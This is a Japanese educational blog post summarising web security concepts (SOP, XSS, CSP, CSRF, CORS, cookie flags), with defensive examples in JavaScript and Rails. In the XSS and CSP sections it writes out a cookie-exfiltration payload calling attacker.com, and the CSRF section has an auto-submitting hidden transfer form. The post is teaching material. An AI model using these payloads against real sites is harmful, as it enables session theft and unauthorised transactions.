🔒

SOP、XSS、CSP、CSRF、CORSについて調べたことまとめ

に公開

SOP(Same Origin Policy: 同一オリジンポリシー)

  • SOPとは → あるオリジンによって読み込まれた文書やスクリプトが、他のオリジンにあるリソースにアクセスできる方法を制限するもの
    • オリジンとは → スキーム名(プロトコル)、ホスト名(ドメイン)、ポート番号の3つで構成 → すべてが同じなら同一オリジン、1つでも異なれば別オリジン

      • 他のオリジンとは
      ページA ページB オリジンは同じ?
      https://example.com/page1 https://example.com/page2 ✅ 同じオリジン (スキーム・ホスト・ポートが同じ)
      https://example.com http://example.com ❌ 異なるオリジン(スキームが異なる)
      https://example.com https://sub.example.com ❌ 異なるオリジン(ホストが異なる)
      https://example.com:443 https://example.com:8443 ❌ 異なるオリジン(ポートが異なる)
    • リソースとは → HTML、CSS、JavaScript、画像、APIレスポンス、動画、フォント、ストレージ

    • アクセスできる方法とは

      • JavaScript API(例: fetch(), iframe.contentWindow など)
      • HTMLタグ(例: <img src="" alt="">, <script src="">, <link href="">, <iframe src="">, <form action=""> など)

例: https://my-site.com/api 内で fetch

fetch("https://my-site.com/api"); // ✅ エラーなし
fetch("https://other-site.com/api")
// エラー: Access to fetch at 'https://other-site.com/api' from origin 'https://my-site.com'

SOP によって制限されない(他のオリジンのリソースにアクセスできる)

  • 表示・埋め込み・実行・適用関連
<img src="https://other-site.com/image.png">
<iframe src="https://other-site.com"></iframe>
<embed src="https://other-site.com/document.pdf">
<script src="https://other-site.com/script.js"></script>
<link rel="stylesheet" href="https://other-site.com/styles.css">
  • データ送信
    • my-site.com → other-site.com にデータを送信

      • other-site.com の Cookie も送信される
      <form action="https://other-site.com/submit" method="POST">  
        <input type="text" name="example">
        <button type="submit">送信</button>
      </form>
      
      fetch("https://other-site.com/data", {
        method: "POST",
        credentials: "include",
        body: JSON.stringify({ message: "Hello" })
      });
      
      • HTTPリクエスト例
      POST /submit HTTP/1.1
      Host: other-site.com
      Content-Type: application/x-www-form-urlencoded
      Referer: https://my-site.com/
      Origin: https://my-site.com
      
      example=value
      

SOP によって制限される(他のオリジンのリソースにアクセスできない)

  • JavaScript で API レスポンスを取得

    fetch("https://other-site.com/api")
    // エラー: Access to fetch at 'https://other-site.com/api' from origin 'https://my-site.com'
    
  • iframe の中身を JavaScript で操作

    const iframe = document.createElement("iframe");
    iframe.src = "https://other-site.com";
    
    console.log(iframe.contentWindow.document); // エラー
    // Uncaught DOMException: Blocked a frame with origin 'https://my-site.com'
    // from accessing a cross-origin frame.
    
  • Cookie・localStorage・sessionStorage へのアクセス

    const iframe = document.createElement("iframe");
    iframe.src = "https://other-site.com";
    
    console.log(iframe.contentWindow.document.cookie); // エラー
    // Uncaught DOMException: Blocked a frame with origin 'https://my-site.com'
    // from accessing a cross-origin document.
    console.log(iframe.contentWindow.localStorage.getItem("key")); // エラー
    // Uncaught DOMException: Failed to read the 'localStorage' property from 'Window': 
    // Access is denied for this document.
    console.log(iframe.contentWindow.sessionStorage.getItem("sessionKey")); // エラー
    // Uncaught DOMException: Failed to read the 'sessionStorage' property from 'Window': 
    // Access is denied for this document.
    

SOPのポイント

SOP では対処しきれないリスクがある

  • XSSのリスク

    • SOP はオリジン間のデータ取得を制限するが、同じオリジン内でのスクリプト実行は防げない
    • たとえば、ユーザー入力を適切に処理しないと、悪意のあるスクリプトが実行される
    const userInput = '<script>alert("XSS攻撃");</script>';
    document.body.innerHTML = userInput; // ❌ 悪意のあるスクリプトが実行される
    
  • CSRFのリスク

    • form の送信時に Cookie が自動的に送信されるため、別サイトの form に埋め込まれる形で 悪意のあるサイトからリクエストが送られる
    • 以下のコードを攻撃者のサイトに仕込まれると、ユーザーが気づかないうちにアカウント削除リクエストを送る可能性がある
    <form action="https://my-site.com/api" method="POST">
      <input type="hidden" name="action" value="delete">
      <button type="submit">削除</button>
    </form>
    

XSS(Cross-Site Scripting: クロスサイトスクリプティング)

XSSとは → ユーザーのブラウザで攻撃者が用意したスクリプトを実行させることで、クッキーの窃取や不正なリダイレクト、フィッシングなどを引き起こす攻撃

XSSの攻撃例

// フロント
const params = new URLSearchParams(window.location.search);
document.body.innerHTML = `<p>検索結果: ${params.get('q')}</p>`;

// 攻撃用 URL
example.com?q=<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
// 生成されるHTML
<p>検索結果: <script>fetch('https://attacker.com?cookie='+document.cookie)</script></p>

<script> タグがHTMLに挿入され、スクリプトが実行 → クッキーが攻撃者のサーバーに送信される可能性がある

XSSの対策

攻撃者のスクリプトを実行させない

  • ユーザー入力をエスケープ処理する

    • エスケープとは → 特殊な文字(<, > など)を変換し、スクリプトが実行されないようにすること
  • <!-- エスケープ前 -->
    <p>検索結果: <script>alert('XSS')</script></p>
    
    <!-- エスケープ後 -->
    <p>検索結果: &lt;script&gt;alert('XSS')&lt;/script&gt;</p> <!-- タグが単なる文字列として表示される -->
    
  • React(Next.js)の場合

    • JSX の {} に渡せば デフォルトでエスケープ されるので、安全
    const params = new URLSearchParams(window.location.search);
    
    <p>{params.get('q')}</p>;
    
    • dangerouslySetInnerHTML は 基本的に使わない。使うなら sanitize-html で安全処理を行う
    import sanitizeHtml from 'sanitize-html';
    
    const safeHtml = sanitizeHtml(params.get('q'), { allowedTags: [], allowedAttributes: {} });
    <div dangerouslySetInnerHTML={{ __html: safeHtml }} />;
    
  • Railsの場合

    <p><%= params[:q] %></p> <!-- デフォルトでエスケープされる -->
    

スクリプトが実行されても被害を防ぐ

  • CSP(Content Security Policy)を設定する

  • CSPとは → サーバーがレスポンスヘッダーに Content-Security-Policy を設定し、ブラウザにリソースの読み込みルールを指示する仕組み

  • 例えば、script-src 'self' を設定すると、自分が許可したスクリプト以外実行されなくなる

  • safe.js
    <script>
      const params = new URLSearchParams(window.location.search);
      document.body.innerHTML = `<p>検索結果: ${params.get('q')}</p>`;
    </script>
    
    <!-- CSP設定前 -->
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=UTF-8
    
    <!DOCTYPE html>
    <html lang="ja">
    <head>
        <title>検索結果</title>
        <script src="/safe.js"></script>
    </head>
    <body>
        <p>検索結果: <script>fetch('https://attacker.com?cookie='+document.cookie)</script></p>
    </body>
    </html>
    
    <!-- CSP設定後 -->
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=UTF-8
    Content-Security-Policy: script-src 'self'; 
    
    <!DOCTYPE html>
    <html lang="ja">
    <head>
        <title>検索結果</title>
        <script src="/safe.js"></script>
    </head>
    <body>
        <p>検索結果: <script>fetch('https://attacker.com?cookie='+document.cookie)</script></p> <!-- 読み込まれない -->
    </body>
    </html>
    
  • Railsの場合

config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self
end

XSSのポイント

  • XSSは「サイト内でJavaScriptを実行される攻撃」なので、SOPでは防げない
  • XSS対策には2つのアプローチがある
    • 埋め込まれても表示されるだけで、実行されないようにする(エスケープ・サニタイズ)
      • Rails の <%= %> などが自動でエスケープしてくれるので、スクリプトタグ (<script>) を入れられても <script> のように単なる文字列として表示され、実行されない
    • 仮に埋め込まれてしまっても、実行できないようにする
      • Content-Security-Policy (CSP) を適切に設定し、インラインスクリプトの実行を禁止 したり、外部スクリプトの読み込みを制限 する

CSRF(Cross-Site Request Forgery: クロスサイトリクエストフォージェリ)

CSRFとは → ユーザーが認証済みの状態で、Cookieを利用してリクエストを送信する仕組みを悪用し、意図しないアクションを実行させる攻撃

CSRFの攻撃例

POST リクエストを自動送信し、ユーザーの意図しないアクションを実行させる

<form action="https://bank.example.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
  <button>送金</button>
</form>
<script>
  document.forms[0].submit();
</script>

CSRFの対策

CSRFトークンの導入

  • サーバーはランダムなトークンを発行し、リクエスト時に検証
  • リクエストごとにトークンを検証することで、攻撃者は有効なリクエストを送れない
// フロント
<form action="https://bank.example.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="csrf_token" value="random-token-123">
  <button>送金</button>
</form>

// サーバー
app.get("/transfer-form", (req, res) => {
  req.session.csrfToken = "random-token-123"; // 実際はランダムな値を生成
  res.render("transfer-form", { csrfToken: req.session.csrfToken });
});

// リクエスト内のトークンと、セッションに保存されたトークンを比較
app.post("/transfer", (req, res) => {
  if (req.body.csrf_token !== req.session.csrfToken) {
    return res.status(403).send("CSRF検証失敗");
  }
  res.send("送金完了");
});
  • Railsの場合
    • Railsでは、デフォルトでCSRFトークンが組み込まれているため、特別な設定なしに利用できる

      • Railsの form_with を使うと、CSRFトークンが自動的に設定される
      // フロントエンド
      <%= form_with url: "/transfer", method: :post do |f| %>
      <%= f.hidden_field :to, value: "attacker" %>
      <%= f.hidden_field :amount, value: "1000" %>
      <%= f.submit "送金" %>
      <% end %>
      
      <!-- バックエンド -->
      class TransfersController < ApplicationController
        protect_from_forgery with: :exception # CSRFトークンが検証される
      
        def create
          
          Transfer.create(to: params[:to], amount: params[:amount])
          render json: { message: "送金完了" }
        end
      end
      

CSRFのポイント

  • CSRFは Cookieが自動送信されることを悪用した攻撃 で、ユーザーが意図しないリクエストを送らされる
  • CSRF対策
    • リクエストの正当性を検証する(CSRFトークン)
      • サーバーがランダムなトークンを発行し、リクエスト時に検証することで不正リクエストを防ぐ

CSP(Content Security Policy)

  • CSP とは → スクリプトやリソースの読み込み元を制限し、XSS などの攻撃を防ぐセキュリティ機能
  • サーバーがレスポンスヘッダー(または <meta> タグ)で「どのドメインから、どの種類のリソースを読み込んでよいか」をブラウザに指示する仕組み
  • ディレクティブを設定することで、ブラウザがどの種類のリソースをどのドメインから読み込むかを制御
  • CSP 違反時のエラーメッセージ例
Refused to load the [リソースの種類] '[URL]' 
because it violates the following Content Security Policy directive: 
"[該当するディレクティブ]". Note that '[適用されたディレクティブ]' was not explicitly set, 
so '[フォールバックとして使用されたディレクティブ]' is used as a fallback.

CSPのディレクティブ一覧

ディレクティブ 意味・用途
default-src 他のディレクティブで指定されないリソースのデフォルトの読み込み元を指定
script-src JavaScript の読み込み元を指定(XSS 対策の要)
style-src CSS の読み込み元を指定
img-src 画像の読み込み元を指定
font-src フォントの読み込み元を指定
connect-src fetch・WebSocket などの接続先を指定
frame-ancestors 当該ページを <iframe> や <frame> で埋め込むオリジンを制限
object-src Flash, Silverlight, Java アプレットなどの埋め込みオブジェクトの読み込み元を指定
base-uri <base> タグによる URL ベースの変更を制限
form-action フォーム (<form>) 送信先を制限
report-uri / report-to ポリシー違反が発生した際のレポート送信先を指定

CSPの設定例

参考: OWASP Content Security Policy Cheat Sheet

基本的な CSP

Content-Security-Policy:
  default-src 'self';
  frame-ancestors 'self';
  form-action 'self';
  • default-src 'self': すべてのリソースをデフォルトで self のみ許可
  • frame-ancestors 'self': iframe で埋め込めるサイトを self のみに制限 (クリックジャッキング対策)
  • form-action 'self': フォームの送信先を self のみに制限

Strict CSP

Content-Security-Policy:
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';
  • nonce-{RANDOM}: nonce により、許可されたスクリプトのみ実行可能
  • strict-dynamic: nonce を持つスクリプトが動的に追加するスクリプトを許可
  • object-src 'none': Flash/Java の読み込みを防ぐ
  • base-uri 'none': <base> タグによる URL の変更を防ぐ

クリックジャッキング対策

Content-Security-Policy:
  frame-ancestors 'none';
  • frame-ancestors 'none': iframe などでの埋め込みを禁止し、クリックジャッキングを防ぐ

CORS(Cross-Origin Resource Sharing)

CORSとは → 「別オリジンのリソースを、どこからなら取得可能にするか」をサーバー側が宣言する仕組み
同一オリジンポリシー(SOP)により、本来ブラウザは別オリジンへの fetch を制限するが、サーバーが CORS ヘッダーを返すことで、特定のオリジンにはデータ取得を許可できるようになる

CORSヘッダー一覧

ヘッダー 意味
Access-Control-Allow-Origin 許可するオリジンを指定(* で全オリジン許可 or https://example.com など特定オリジンだけ許可)
Access-Control-Allow-Credentials Cookie や 認証情報(Credentials)を含むリクエストを許可するかどうか(true にする場合、Access-Control-Allow-Origin に * は指定不可)
Access-Control-Allow-Methods 許可するHTTPメソッド(GET, POST, PUT, DELETEなど)
Access-Control-Allow-Headers 許可するリクエストヘッダー(Content-Typeなど)
Access-Control-Max-Age プリフライトリクエストの結果をキャッシュする時間

CORSの設定例

  • まずはブラウザからのリクエスト例

    • 別オリジン (https://frontend.example) から API (https://api.example) を叩く場合
    • Origin ヘッダー: ブラウザが自動的に付与し、リクエスト元のオリジン(スキーム+ドメイン+ポート)を示す
    GET /data HTTP/1.1
    Host: api.example
    Origin: https://frontend.example
    
  • 次にサーバーが CORS を許可したい場合のレスポンス例

    • Access-Control-Allow-Originヘッダー: 指定したオリジン(例: https://frontend.example) からのアクセスを許可
    • ブラウザはこのAccess-Control-Allow-Originヘッダーを確認して、CORS が許可されたリソースと判断し、レスポンスを JS コード(fetch 等)で使えるようにする
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: https://frontend.example
    Content-Type: application/json
    
    { "message": "Hello from server!" }
    
  • サーバーが許可しない場合

    • レスポンスに Access-Control-Allow-Origin が含まれない、あるいは不一致の場合、ブラウザは同一オリジンポリシー(SOP)によってブロックし、開発者ツールのコンソールにエラーを表示
  • Railsの場合

config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, Rack::Cors do
  allow do
    origins "https://frontend.example" # 許可するオリジンを指定

    resource "*",
      headers: :any,  # すべてのリクエストヘッダーを許可
      methods: [:get, :post, :put, :patch, :delete, :options, :head], # 許可する HTTP メソッド
      credentials: true # クッキーや認証情報の送信を許可
  end
end

他のオリジンに送る HTTP リクエスト

ブラウザは CORS の仕様に基づき、クロスオリジンの HTTP リクエストをどのように扱うかを決定する
リクエストが「安全かどうか」を判定し、単純リクエストとプリフライトリクエストに分類する

安全かどうか のチェック基準

以下の条件を満たす場合、ブラウザはプリフライトリクエストなしでリクエストを送信

  • HTTP メソッドが GET, POST, HEAD のいずれか
  • 独自ヘッダー を含まない(例: Accept, Content-Type が application/x-www-form-urlencoded, multipart/form-data, text/plain のみ)

単純リクエスト

上記の条件を満たすリクエストは 単純リクエスト (Simple Request) として扱われ、クロスオリジンであっても直接送信される

  • リクエスト例
GET /data HTTP/1.1
Host: api.example
Origin: https://frontend.example
...
  • レスポンス例
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example
Content-Type: application/json

プリフライトリクエスト

ブラウザはプリフライトリクエストを実施し、以下の条件を満たした場合に本リクエストを送信

  • リクエストの Origin がサーバーの Access-Control-Allow-Origin に含まれている
  • リクエストメソッドが Access-Control-Allow-Methods に含まれている
  • カスタムヘッダーが Access-Control-Allow-Headers に含まれている
  • OPTIONS (プリフライト)のリクエスト例
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://my-site.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization, Content-Type
  • OPTIONS (プリフライト)のレスポンス例
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://my-site.com
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400
  • リクエスト例
POST /api/data HTTP/1.1
Host: api.example.com
Origin: https://my-site.com
Authorization: Bearer abcdef123456
Content-Type: application/json

{"message": "Hello, CORS!"}
  • レスポンス例
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://my-site.com

{"status": "success"}

Cookieのセキュリティ対策まとめ(XSS・CSRF・CORS)

CookieのXSS対策

  • リスク
    • document.cookie からCookieを盗まれ、セッションハイジャックされる
  • 対策
    • HttpOnly を設定(JavaScriptからアクセスを禁止する)

CookieのCSRF対策

  • リスク
    • ユーザーが意図しないリクエストを送り、認証済みのCookieが悪用
  • 対策
    • SameSite=Lax を設定(同一オリジン以外ではCookieを送らないようにする)
    • CSRFトークンを使用(フォーム送信にランダムなトークンを含める ことで、不正なサイトからのリクエストを区別する)

CookieのCORS対策

  • Access-Control-Allow-Credentials: true を設定(認証情報を含める場合)
  • Access-Control-Allow-Origin は * ではなく、特定のオリジンを指定

以上を踏まえた、適切なレスポンスの例

HTTP/1.1 200 OK
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

参考資料

https://developer.mozilla.org/ja/docs/Web/Security/Same-origin_policy
https://www.tohoho-web.com/ex/same-origin-policy.html#restrictions
https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
https://www.amazon.co.jp/dp/B0BQM1KMBG
https://www.amazon.co.jp/dp/B07DVY4H3M

Discussion